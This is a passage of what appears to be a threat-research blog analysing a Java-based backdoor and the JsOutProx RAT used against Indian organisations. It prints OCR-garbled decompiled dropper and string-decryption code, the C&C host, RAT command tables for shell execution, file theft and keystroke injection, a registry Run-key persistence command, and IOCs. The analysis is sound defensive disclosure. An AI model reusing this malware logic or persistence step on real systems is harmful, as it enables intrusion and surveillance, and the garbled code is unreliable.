L) O Classliti_1_: dags

L) ObjectStream(lass_1_3_1§1.class

b ObjectStreamClass_1_3_152.class

wy ObjectStreamClass_1_3_153.dass

wy ObjectStreamClass_1_3_1$CompareClassByMame. dass
s OB Class_1_3_1$Compar dass
iy O Class_1_3_1sMethod dass

o Clags_1_3_1$0) ClassEntry.dass

FEEEAATD

L) Objectitiriter $1.class

Ly Objectifiriter SindentingObjectitriter dass
hih Cbjectiriter $SimpleCbjectitiriter, class
wy Objectviriter.dass

bty POASystemExceptions 1, dass

oty RepldDelegator. dass

s RepositoryldFactory. dass

o1y Repositoryldinterface. dass

o1y RepasitoryldStrings. dass

wy RepasitoryldUtlity, dass

oih UtiSystemExceptions 1. class

N R R RN S R ]

Fl
H
o
H

MANIFEST.MF £

»i ; » AES Encrypt

Figure 15: The JAR file structure.

1 Manifest-Version: 1.8
2 Main-Class:

There is an AES-encrypted resource present in this JAR file with the name: “jkgdIthggf.bvI”.

This resource will be loaded and decrypted at runtime as shown in Figure 16.
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public static void main(String[] strarr) {
try {
Thread.sleep (c0000) ;
String str = new String ("]
byte[] bytes = nev@t.:ing(
String str2 = fnew String(";

2F") .getBytes () :j —_— AES Decryption Key
B) ypted B

String sb = new StringBuilder(). lngext( , Bystem.getenv("appdata”)) .append(File.separator).append (new StringBuilder () .insert(’,

append(new String(".jar")).teString l’.)) tast:ing(} H

InputStream rescurcehsStream = cls. getkezourcahst.ream(nun StringBuildez () .inzert (0, "/").append(cls.getPackage () .getName () .zeplace("."

"/")).append("/") .append {str2) . tclst::.ng[]},
Cipher instance = Cipher.getInstance ("
instance.init (2, new SecretKey3pec (bytes, "

iing") ;
"), new IvParameterSpec(bytes));

CipherInputStream cipherInputStream = new CipherInputStream(rescurceAsStream, instance);
mll(str, =b);

Thread.sleep (4 D) #
FileOutput3tream fileCutputStream = new FileOutputStream (sb) ;
byte[] bArr = new byte[1024];

CipherInputStream cipherinput3tream? = cipherInputStream;
while (true) {
int read = cipherInputS8tream2.read (blrr);
if (read <= ) {
break; —_— AES Decryption
}
fileCutputStream.write (bhrr, 0, read);
cipherInputStream? = cipherInputStream;
]
fileOGutputStream.claose () ;
cipherInputStream.cloze () ;

Thread.sleep(40000) ;

Figure 16: The Stage 1 resource decryption routine.

This resource gets decrypted to another JAR file, which will be dropped in the %appdata% directory on the machine with the
name jhkgdldsgf.jar

The dropped JAR file contains all the functionality for this Java-based backdoor. Figure 17 shows the main structure of the JAR file.

& oo |

.

= METADN

Y] MANIFEST.ME T

M) MANIFEST.MF [

=B com.ofgtrvh.mmbhy.[aszxerd.mmahy 1 Manifest-version: 1.8

b BeanlnfoFnder. class 2 Main-Class:

hib ClassFinder.dass 3

4} ColorEditor. dass 4
ConstructorFinders 1. dass

ab ConstructorFinder. dass

up DoubleEditor. dass

FE-E-O-F-F-F- PP

£3p TN dass

Btlulmudag ——————# Obifuscated Class Files
THmTL. dass

Jaa} TITITL class

iilil. class

% 10RSystemExcaption$1.dass

i
e
B

n

I0RSystemException.dass
T, dass
i T, dass
43 TNl dass
b LI0Tii.class
op IITIIL. class
T, cass
‘auh InstanceFinder.dass
4ih IntegerEditor, dass
1h LongEditor.dass
MethodFinder$ 1.dass
sp MethodFinder. dass
{ith NamingSystemExceptions1.dass
$ip NamingSystemException. dass
MumberEditor.dass
OMGSyStemExcepons 1.dass
sh ORBUtSystemException$1.dass —
$ip POASystemException§1.dass
41 POASystemException. class
%
i

PersistenceDelegaterinder, dass
FrimitiveTypeMap. dass
FrimitiveVirapperMap. dass

- fup PropertyEditorFinder. dass
{,‘n, ShortEditor.dass

Elrmabmn dnon

R

Figure 17: The JAR file structure of the Java-based backdoor.

All the strings in this JAR file are obfuscated by an obfuscator called Allatori. The string decryption routine is as shown in Figure 18.
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public static 8tring S50 (String string) {
int n;

StackTraceElement stackTraceElsment = new CloneNotSupportedException().getStackTrace () [1];
String string2 = new StringBuffer (stackTraceElement.getClassName ()) .append(stackTraceElement.getMethodName ()) .toString() ;

int n2 = string.length();

int n3 = n2 - 1;

char[] arrc = new char[n2];

int n4 = 4 €< 3;

int cfr_ignored_0 = 5 << A {2 * 5);
int n5 = 4 €€ 4 A (2 A 5);

int né = n = string2.length() - 1;

String string3 = string2;
while (n3 >= 0) {

int n7 = n3--;

arrc[n7] = (char)(n5 * (string.charaAt(n7) * string3.charAt(n))):

if (n3 < 0) break;

int n8 = n3——;

char ¢ = arrc[nB] = (char)(n4 * (string.charAt(nB8) * string3.charht(n)));

if (--n < 0) {
n = né;
3
int n% = n3;
¥

return new String(arrc);

Figure 18: The string decryption routine.

We described this string decryption routine in more details in an earlier blog, which also includes the Python implementation of the decryption

routine.

The JAR file connects to the C&C server: scndppe.ddns.net at port 9050.

This Java-based backdoor is modular in structure and contains several plugins. Figure 19 shows the main network controller code that
handles the C&C communication and dispatches the commands to corresponding plugins for further processing.

public static vold 50 (String string2, String([] arrstring, 1iiiiiiiii 11 iiiijjiiii 112)
try {
String string2;
String string3 = string2;
string[] 2 = arrstring;
iiiiiiiidii 11 1733 = jiddiiddijddid 112;
if @stringlstartswitht".- -")l) {
Ti1311TI1II.50 (string2, arrstring, iiiiiiiiii 112);
return;
}
if Gstring2 .startsWith("aut "JD {
String[] arrstring2 = new String[3];
arrstring2[0] = iiiiiiiiii 13.11();
arrstring2[1] = iiiiiididi 13.51;
arrstring2[2] = iiiiiiiiii 13.5;
iiiiiidiii 112.50(string2, arrstring2);
return;
}
String string4 = string2;

if G:tringZ.startswith("”m"}ﬂ {

return;
13
if GstringQ.:tartswitht“ir”)] {

return;
}
if GstringZ.startswith[“fm"}] 1{

11111313313 15 11111111131 152 = new iiiiiiiiii_ 15(string3,

return;

}

String string5 = string2;

Figure 19: The network controller command handler.

The controller receives the command along with an array of strings that represent the parameters for the corresponding command.

Each of the C&C commands are used to invoke a plugin that executes the command sent by the server.
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Command

Invoked Plugin

SC Screen plugin.

aut Log plugin.

cm Command plugin.

dn Downloader plugin.

fm Filemanager plugin.

st Startup plugin.

In.t Base plugin to exit execution.
In.rst Base plugin to restart execution.

Now, we will describe two main plugins in this Java-based backdoor and the commands processed by them.

Filemanager plugin: This plugin is responsible for managing all the file system related actions which can be performed by the attacker
remotely. The plugin supports multiple commands and the summary is in the table below.

Plugin Purpose

command

Fm.dv Get list of system drives (including CD drive.)

Fm.get Get list of files and folders in a directory.

Fm.nd Create a new directory.

Fm.e Execute a command using Runtime.getRuntime().exec()

Fm.es Start a new system shell based on the type of OS.

Fm.cp Copy contents of one file to another.

Fm.chm Change the permissions of a file using chmod command (only for Linux and Mac).

Fm.mv Move a file from one location to another.

Fm.del Delete a file.

Fm.ren Rename a file.

Fm.chmod Similar to chm command.

Fm.down Download a file from the system. Contents of the file are Gzip compressed and Base64 encoded before downloading.
Fm.up Upload a file to the system. Contents of the file Gzip decompressed and Base64 decoded before dropping on the file

system.

Screen Plugin: This plugin uses the java.Awt.Robot class to perform all the mouse and keyboard simulations on the machine as well as to
take screen captures. The commands for this plugin are detailed in the table below.
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Plugin Command Purpose

sc.op Fetch the screen size width and height information.

sc.ck Simulate mouse actions like double click, scroll up and scroll down.
sc.mv Move the mouse cursor to specified co-ordinates.

sc.cap Take a screen capture.

sc.ky Send keystrokes to the machine.

Persistence: To ensure that this JAR file is executed automatically when the system reboots, a Window run registry key is created as shown
below:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jhkgdldsgf /d '\'C:\Program Files\Java\jre1.8.0_131\bin\javaw.exe\' -jar
\'C:\Users\user\AppData\Roaming\jhkgdldsgf.jar\" /f

Cloud Sandbox detection

Figure 20 shows the Zscaler Cloud Sandbox successfully detecting the Java-based backdoor.

@%>zscaler Cloud Sandbox ®
SANDBOX DETAIL REPORT it i W =
Report ID (MDS5): 0AC306C29FDESET10AESD022DT8T69F6 Analysis Performed: 27/04/2020 14:03:04 File Type: Java ARchive files analysis

CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS K

Class Type Threat Score * Sample Sleeps For A Long Time (Installer Files Shows

Thi Property).
Malicious g sk )
86 Executes Massive Amount Of Sleeps In A Loop

Category = No known Malware found

Malware & Botnet LR

NETWORKING FH STEALTH 3 SPREADING

= Uses Dynamic DNS Services = Creates Autostart Registry Keys To Launch Java

* Detected TCP Or UDP Traffic On Non-standard Ports
Performs DNS Lookups

No suspicious activity detected
URLs Found In Memory Or Binary Data

2

INFORMATION LEAKAGE EXPLOITING ia PERSISTENCE iu

= Runtime Environment Starts Unknown Processes * Uses Reg.exe To Modify The Windows Registry
* Greates An Autostart Registry Key

Creates Temporary Files
Mo suspicious activity detected Lsits

Figure 20: The Zscaler Cloud Sandbox detection for this Java-based backdoor.

Figure 21 shows the Zscaler Cloud Sandbox successfully detecting the HTA-based backdoor which contains the JsOutProx RAT.
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@5> zscaler Cloud Sandbox -

SANDBOX DETAIL REPORT ®HighBisk  * Moderats Risk  Law sk a8
Report ID (MDS5): 23B32DCESE3ATC1AF4534FEICFTF461E Analysis Performed: 06/05/2020 11:28:45 File Type: hta
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS -+

Class Type Threat Score Checks For Kemel Debuggers
Malicious Executes Massive Amount Of Sleeps In A Loop
Category 1 00 May Try To Detect The Virtual Machine To Hinder Analysis

No known Malware found
Malware & Botnet | Il ||||||1

NETWORKING £l STEALTH b SPREADING

* Uses Dynamic DNS Services Disables Application Eror Messages
* Detected TCP Or UDP Traffic On Non-standard Ports
Performs DNS Lookups

No suspicious activity detected
URLs Found In Memory Or Binary Data

INFORMATION LEAKAGE EXPLOITING PERSISTENCE il

» Creates An Autostart Registry Key

Figure 21: The Zscaler Cloud Sandbox detection for the HTA-based backdoor.

Conclusion

This threat actor has a specific interest in organisations located in India and the content of the emails indicates a good knowledge of topics
relevant to each of the targeted organisations. The backdoors used in this attack are uncommon, such as JsOutProx, which has only been
observed in the wild once before in December 2019.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe.

MITRE ATT&CK TTP Mapping

Tactic Technique

Obfuscation

Obfuscated Files or Information - T1027

Software Packing T1045

Persistence

Registry run keys / Startup folder - T1060

Screen Capture T1113
System Shutdown/Reboot T1529
Mshta T1170
File and Directory Discovery T1083
Uncommonly Used Port T1065

Windows Management Instrumentation T1047

Indicators of Compromise (IOCs)
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Hashes

23b32dce9e3a7c1af4534fe9cf7f461e — HTA file (JSOutProx)
0ac306c29fde5e710ae5d022d78769f6 — Java-based Backdoor
Network indicators

scndppel.]ddns[.]Jnet:9050

backjaadra[.]ddns[.]Jnet:8999
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